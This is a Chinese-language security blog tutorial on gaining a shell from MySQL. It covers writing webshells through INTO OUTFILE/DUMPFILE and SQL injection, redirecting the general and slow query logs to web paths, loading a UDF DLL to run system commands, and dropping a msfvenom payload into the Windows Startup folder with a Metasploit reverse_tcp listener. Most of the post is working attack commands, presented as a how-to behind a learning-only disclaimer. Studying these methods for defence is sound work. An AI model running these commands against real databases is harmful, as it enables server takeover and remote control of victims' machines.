【网络安全】什么?你还不会通过SQL提权?(MySQL篇)

发布于 2024-11-28  196 次阅读


使用的工具:

  1. SQLMap
  2. DBeaver

数据库

  • SQLServer(MSSQL)
  • MySQL

前言

本文主要介绍总结MySQLSQLServer这两个常见的数据库的提权方法(不涉及SQLMap)仅通过SQL → Shell,所以不会介绍通过SQL进行USER → ROOT的提权方式。MySQL自不必说,SQLServer在政府部门或教育部门的保有量还是相当可观的。本文结合主流的命令执行写入WebShell的提权方式,并结合不同的适用常见。

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!


MySQL

outfile和dumpfile GetShell


  • 条件:
  • 需要Web目录写入权限
  • 需要数据库DBA权限
  • 已知晓绝对路径
  • secure-file-priv允许写入Web目录(如上述条件符合,但无secure-file-priv,见日志写入方法)

需要特别注意的是 secure-file-priv,他是MySQL中的一个系统变量,可以在 my.ini 中设置,用于限制 load data、select ... into outfile/dumpfile、load_file() 中的写入操作,仅允许写入其设定的目录。

secure_file_priv 的值为空,表示不对MySQL的导入或导出做限制,如果为 NULL,表示MySQL不允许导入导出,如果 my.ini 中不存在这一项则默认为 NULL 。在 mysql 5.6.34 版本以后 secure_file_priv 的值默认为NULL

可以通过如下指令查看 secure_file_priv 的值:

show variables like 'secure_file_priv';

我这里使用的是 Mysql 5.7.26 故此处在非认为更改默认为NULL。为了方便后续演示,我先在my.ini中添加"secure_file_priv="(注意修改后需要重启MySQL)

在设置完成后,通过 outfile dumpfile 来写入WebShell到Web可访问路径下即可。

# outfile
select '<?php phpinfo(); ?>' into outfile 'E:\\phpstudy_pro\\WWW\\test\\upload\\phpinfo.php';
# dumpfile
select '<?php phpinfo(); ?>' into dumpfile 'E:\\phpstudy_pro\\WWW\\test\\upload\\phpinfo.php';

可以观察到文件已经上传到目标主机,最后就是看是否可以正常访问

DumpFile和OutFile区别如下:

  • DumpFile
    • 功能:将查询结果的单行数据写入文件
    • 不添加任何分隔符或换行符
  • OutFile
    • 功能:将查询结果的多行数据写入文件
    • 允许指定字段和行的分隔符

联合注入

# outfile
select * from user where id=1 union select 1,'<?php phpinfo(); ?>' into outfile <导出位置>
# dumpfile
select * from user where id=1 union select 1,'<?php phpinfo(); ?>' into dumpfile <导出位置>

非联合注入

  • FIELDS TERMINATED BY
    • 作用:指定字段之间的分隔符。
  • LINES TERMINATED BY
    • 作用:指定行之间的分隔符。
# outfile
select * from user where id=1 into outfile <导出位置> fields terminated by '<?php phpinfo();?>'
select * from user where id=1 into outfile <导出位置> lines terminated by '<?php phpinfo();?>'
# dumpfile
select * from user where id=1 into dumpfile <导出位置> fields terminated by '<?php phpinfo();?>'
select * from user where id=1 into dumpfile <导出位置> lines terminated by '<?php phpinfo();?>'

日志文件GetShell


  • 条件:
  • 需要Web目录写入权限
  • 需要数据库DBA权限
  • 已知晓绝对路径
  • 存在堆叠注入

首先在MySQL中存在以下几种日志形式:

  • 错误日志
  • 查询日志
  • 慢查询日志
  • 二进制日志
  • 中继日志

我们需要用日志来写WebShell,首先得确定日志内容是可控的,不然也就无法确定到底写入了什么进日志。在上述几种形式中,查询日志慢查询日志二进制日志。二进制日志需要手动在 my.ini 中开启,这里就略过。

查询日志

查询日志记录客所有客户端连接和断开和执行的SQL语句

由于需要修改MySQL全局设置,请务必通过如下指令事先查询默认设置,并进行谨慎更改

show variables like '%general%';
  • general_log
    • 此处为当前查询日志状态,默认为OFF,需要手动打开,打开后开始记录查询日志
  • general_log_file
    • 此处为查询日志保存的位置

我们需要在日志文件中写入一句话木马,放入Web文件夹中,首先需要修改日志文件保存的位置

set global general_log_file = 'E:\\phpstudy_pro\\WWW\\test\\upload\\phpinfo.php';

然后开启日志记录

set global general_log = on;

此时目标路径下会立刻生成一个 phpinfo.php 这是我们刚刚设置的文件名。但此时文件内不会有任何东西,知道执行查询语句,查询日志才会写入查询内容

所以接下来随便执行一条存在载荷的查询语句即可,例如:

select '<?php phpinfo();?>';

此时文件中就会作为日志写入我们刚刚的文件中,如下

最后关闭查询日志,并恢复原设置

set global general_log = OFF;
set global general_log_file = 'E:\\phpstudy_pro\\Extensions\\MysQL5.7.26\\data\\WIN-622VTPC9KF2.1og';

尝试访问一下目标位置

SQL语句

show variables like '%general%';#查询状态和默认保存位置
set global general_log_file = <保存位置>;#设置保存位置为可访问的Web路径
set global general_log = on;#开启查询日志记录
select <代码>;#执行查询语句

set global general_log = OFF;#关闭查询日志记录
set global general_log_file = <保存位置>;#恢复原位置

慢查询日志

慢查询日志记录执行时间超过 long_query_time 设置的SQL语句long_query_time 默认为10秒。

可以通过如下语句查询或修改 long_query_time

由于需要修改MySQL全局设置,请务必通过如下指令事先查询默认设置,并进行谨慎更改

show global variables like '%long_query_time%';#查看默认事件
set global long_query_time = <时间>;#修改默认事件 不建议修改

慢查询日志基本的流程和上述的查询日志写入流程基本一致,但需要注意在执行查询语句时添加延迟操作,让查询语句超时完成,否则不会慢查询不会进行记录

set global slow_query_log_file='E:\\phpstudy_pro\\WWW\\test\\upload\\phpinfo.php';#修改保存位置
set global slow_query_log=on;#开启记录

然后执行查询语句,注意添加延迟,默认触发时间是10秒,这边是直接sleep(11),让查询延迟11秒执行即可

select '<?php phpinfo(); ?>' or sleep(11)

写入完成,验证执行

最后恢复原设置即可

SQL语句

show variables like '%slow_query_log%';#查询状态和默认保存位置
set global slow_query_log_file = <保存位置>;--修改日志文件路径
set global slow_query_log = on;#开启记录
select <代码> or sleep(11);#延迟执行查询

set global slow_query_log = OFF;#关闭查询日志记录
set global slow_query_log_file = <保存位置>;#恢复原位置

UDF命令执行


  • 条件:
  • 需要数据库DBA权限
  • 存在堆叠注入
  • secure-file-priv允许写入

UDF.dll/UDF.SO 是基于MySQL的⽤户⾃定义函数,的一个实现了命令执行的自定义函数。我们可以通过载入UDF.dll/UDF.SO来执行其中的 sys_eval 函数来执行系统命令

所以理论上只要是允许载入自定义函数的数据库都可以使用 UDF.dll/UDF.SO 来执行系统命令,比如 PostgreSQL

需要注意的是自定函数的dll文件必须放置在MySQL的 lib\plugin 目录中,我们需要用到之前的 dumfile 来写入文件,所以自然也需要 secure-file-priv 允许写入

首先我们需要确认目标主机的架构,然后根据架构选择UDF,我们可以通过如下指令确定架构:

show variables like '%compile%';

这里我们就需要给目标上传一个64位的UDF.DLL,这里推荐一个网站

MySQL UDF 提权十六进制查询 | 国光

你可以在此处查询到对应UDF的十六进制码,方便我们后续进行写入

接下来需要确认目标数据库的 lib\plugin 的绝对路径

show variables like 'plugin%';

写入UDF.DLL,这里可以直接借助我们上面给的网站,复制对应的UDF指令,然后更改对应位置即可

SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000... into dumpfile 'E:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll';

写入完成之后载入udf函数

create function sys_eval returns string soname 'udf.dll';

载入成功后可以尝试使用 sys_eval 来执行系统指令

select sys_eval('whoami');

启动项提权


  • 条件:
  • 需要目标目录写入权限
  • 需要数据库DBA权限
  • 存在堆叠注入
  • secure-file-priv允许写入

启动项提权顾名思义,我们可以将我们的恶意程序通过 dumpfile 写入 启动目录 中,Windows不同版本的启动路径如下:

  • Windows Server 2003
    • C:\Documents and Settings\All Users\Start Menu\Programs\Startup
  • Windows Server >= 2008
    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

当目标主机重新启动后会自动执行我们在启动目录中存放的程序,所以使用这种方式需要等待较长时间,等待对方主机上线

我们这里先使用Msfvenom生成一个木马程序,当然用CS或者其他远控软件类似。这里我使用 Msfvenom-UI 来快速生成木马程序

github:Mangofang/Msfvenom-UI: 图形化Msfvenom指令生成工具

生成完成后提取十六进制码,通过 dumpfile 上传到启动目录

SELECT 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000... into dumpfile 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.exe';

然后用msf开启监听,并重启主机

use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.2.145
set lport 8888
run

成功上线

此外利用MySQL提权的方式还有利用CVE-2016-6662、CVE-2016-6663、CVE-2016-6664漏洞进行提权,但需要提权获取WebShell,不属于从SQL → Shell的内容,故此处不再赘述

SQLServer篇